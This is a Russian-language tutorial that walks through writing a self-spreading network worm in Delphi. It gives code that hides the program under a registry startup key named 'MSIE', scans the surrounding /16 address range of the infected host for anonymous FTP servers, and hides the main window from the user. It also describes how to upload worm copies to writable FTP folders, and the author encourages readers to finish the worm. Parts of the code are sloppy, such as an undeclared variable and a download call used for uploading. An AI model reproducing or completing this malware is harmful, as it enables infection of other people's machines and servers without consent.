Написание сетевого червя на Delphi.

Писать мы будем на Delphi6. Наш червь будет распространяться через ftp сервера с анонимным входом. Итак, поехали! Создай новый проект. Так же размести на форме компонент NMFTP (так и назови, без всяких 1). Затем надо объявить 2 глобальные переменные. Делается это после строки var, которая идёт после строк
public
    { Public declarations }
  end;
в самом начале unit’a.
Так же добавьте в использующиеся модули WinSock и Registry.

Давайте пропишем червя в реестре:
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
// Пишемся в папке ‘Run services’, имя ключа MSIE, далее следует расположение //файла
RegIni.WriteString('RunServices', 'MSIE',  Application.ExeName);
RegIni.Free;
Чтоб он автоматом загружался при запуске системы. Нужно объявить 2 стринговые переменные – ip1st и ip2nd. В них будет лежать ip разбитый на 4 части. Выглядеть она у тебя должна так:
var
  Form1: TForm1;
  ip1st,ip2nd:string;
Далее нужно получить IP заражённой машины. Делается это с помощью следующей функции (Назовём её GetLocalIP):
function GetLocalIP: String;
const WSVer = $101;
var
  wsaData: TWSAData;
  P: PHostEnt;
  Buf: array [0..127] of Char;
begin
  Result := '';
  if WSAStartup(WSVer, wsaData) = 0 then begin
    if GetHostName(@Buf, 128) = 0 then begin
      P := GetHostByName(@Buf);
      if P <> nil then Result := iNet_ntoa(PInAddr(p^.h_addr_list^)^);
    end;
    WSACleanup;
  end;
end;
Данная функция определит IP зараженной тачки и вернёт его нам в виде строки. Затем нам надо поделить полученный IP на 4 части. Давай напишем такую функцию и назовём её CutIP(разрезание IP). Вот её код:
function CutIP(ip:string):string; // Функции будет передаваться ip-адрес в виде строки
var
// Объявляем 2 числовые переменные – pos1 и count
pos1,count:integer;
// Объявляем строковую переменную piece
piece:string;
begin
  //1-ое число IP
  piece:=ip;
  // Присваиваем переменой piece значение переменной ip(которая передаётся
// В виде главного параметра функции
// Затем засовываем в переменную Pos1 число которое обозначает
// кол-во символов до первой точки в переменной piece (там лежит наш IP) 
pos1:=Pos('.', piece);
// Затем удаляем из строки piece 30 символов после первой точки
// в итоге у нас остаётся только первое число ip-адреса
  Delete(piece,pos1,30);
// которое мы засовываем в переменную ip1st
  ip1st:= piece;
// Далее всё идёт по такой же схеме
  //2-ое число ip
  piece:=ip;
  pos1:=Pos('.', piece);
  Delete(piece,1,pos1);
  pos1:=Pos('.', piece);
  Delete(piece,pos1,30);
  ip2nd:= piece;
end;
Теперь первые 2 числа IP-адреса заражённой машины разбит на 2 части и засунут в 2 переменные. Всё, все нужные нам функции отписаны. Теперь давайте создадим обработчик события OnCreate главной формы. Здесь будет то, что должно происходить при запуске червяка. Вот и начинается самое интересное: Для начала присвоим несколько переменных разных типов, для этого перед begin напишем:
var
my_ip:string; // здесь будет хранится наш ip
ftp_list,scan_ip_list:TStrings; // Здесь будут хранится список фтп и ip которые
// надо просканить
count,count1,count2:integer; // Обычные счётчики для циклов
Всё, с переменными закончено, далее пишем код самого червяка(между begin и end разумеется).
my_ip:=getLocalIp; // Засовываем в my_ip результат функции GetLocalIP
// Это будет IP заражённой тачки
// Далее создаём списки
ftp_list:=TStringList.Create;
scan_ip_list:=TStringList.Create;
//Затем разрезаем ip, который мы получили
CutIP(GetLocalIP);
// Теперь весь ip засунут в глобальные переменные
// Даём приложению проработатся чтоб не вызывать зависания
Application.ProcessMessages;
// Выстраиваем лист IP
// Начинаем цикл от 0 до 255
for count2:=1 to 255 do
begin
// Снова даём приложению проработаться
Application.ProcessMessages;
// Засовываем в ip3rd номер данного цикла
ip3rd:=IntToStr(count2);
// Внутри начинаем ещё один цикл
for count:=1 to 255 do
begin
// Даём приложению проработатся
  Application.ProcessMessages;
// Добавляем в scan_ip_list IP-адресс сгенерированный нашим
// червяком на основе полученного ip с заражённой машины
  scan_ip_list.Add(ip1st+'.'+ip2nd+'.'+ip3rd+'.'+IntToStr(count));
end;
end;
// Конец выстраивания
// Теперь у нас есть ip всех 255-подсеток провайдера к которому подключон
// заражённый комп
// Даём приложению проработатся
Application.ProcessMessages;
// Начинаем сканить на открытые ftp
// Цикл идёт от 1 до кол-ва строк в scan_ip_list, где хранится наш список ip
for count1:=1 to scan_ip_list.Count-1 do
begin
Application.ProcessMessages;
// Присваиваем параметру host – значение состоящие из строки под номером //исполняемого цикла
NMFTP.Host:=Scan_ip_List.Strings[count1];
// Пытаемся соединится
NMFTP.Connect;
// Если соединение прошло удачно
if NMFTP.Connected then
begin
// то добовляем адрес в список ftp_list
  ftp_list.Add(NMFTP.Host);
end;
end;
// Снова даём проге проработатся
Application.ProcessMessages;
// конец скана на открытые фтп
end;
После этого в переменной ftp_list имеется весь список ip на которых открыт 21-ый порт. Далее нам нужно распространить копии червя по всем имеющимся в списке ftp-серверам. Я не буду прямо описывать весь процесс, а заставлю поработать вашу фантазию. При коннекте нам передаётся список главной директории. Получить его можно с помощью следующего кода:
NMFTP.NList;
//Далее создаём обработчик события OnListItem
// и в нём пишем следующую вещь
[имя_списковой переменной].Add(Listing);
После этого в переменной будет лежать список папок и файлов. Тут может возникнуть трабл с закачкой червя на ftp т.к. не в каждую папку может быть разрешена запись.
Проверить это можно следующим образом: попробовать залить в корневой каталог, если не получится то начать цикл в котором будет браться строка с именем папки/файла. Далее меняем папку на ту, которую взяли из списка, если ошибка(это может быть файл) то идти дальше, если удалось сменить то пробуем залить и т.д. Если залить удалось, то коннектимся на следующую фтп’шку и проделываем то же самое.

Папка меняется кодом NMFTP.ChangeDir(имя_папки); Закачка файлов происходит следующим образом: NMFTP.Download(‘имя_закачиваемого_файла’,’имя_под_которым_файл_сохранится_на_сервере’); Теперь надо скрыть главную форму от глаз пользователя, делается это следующим образом:
Зайди в Project>View Source
Откроется окно редактирования кода, сам код должен выглядеть следующим образом:
var
WhEvent:THandle;
begin
  Application.Initialize;
  ShowWindow(Application.Handle, SW_HIDE);
  Form1:=TForm1.Create(nil);
  Application.Run;
  WhEvent:=CreateEvent(nil, true, false, 'et');
  while (true) do
   begin
   WaitForSingleObject(WhEvent,1000);
   Application.ProcessMessages;
   end;
end.
Если поработать головой, то можно за 30 минут написать червя который ещё и все папки найдёт, на фтп, в которых запись разрешена.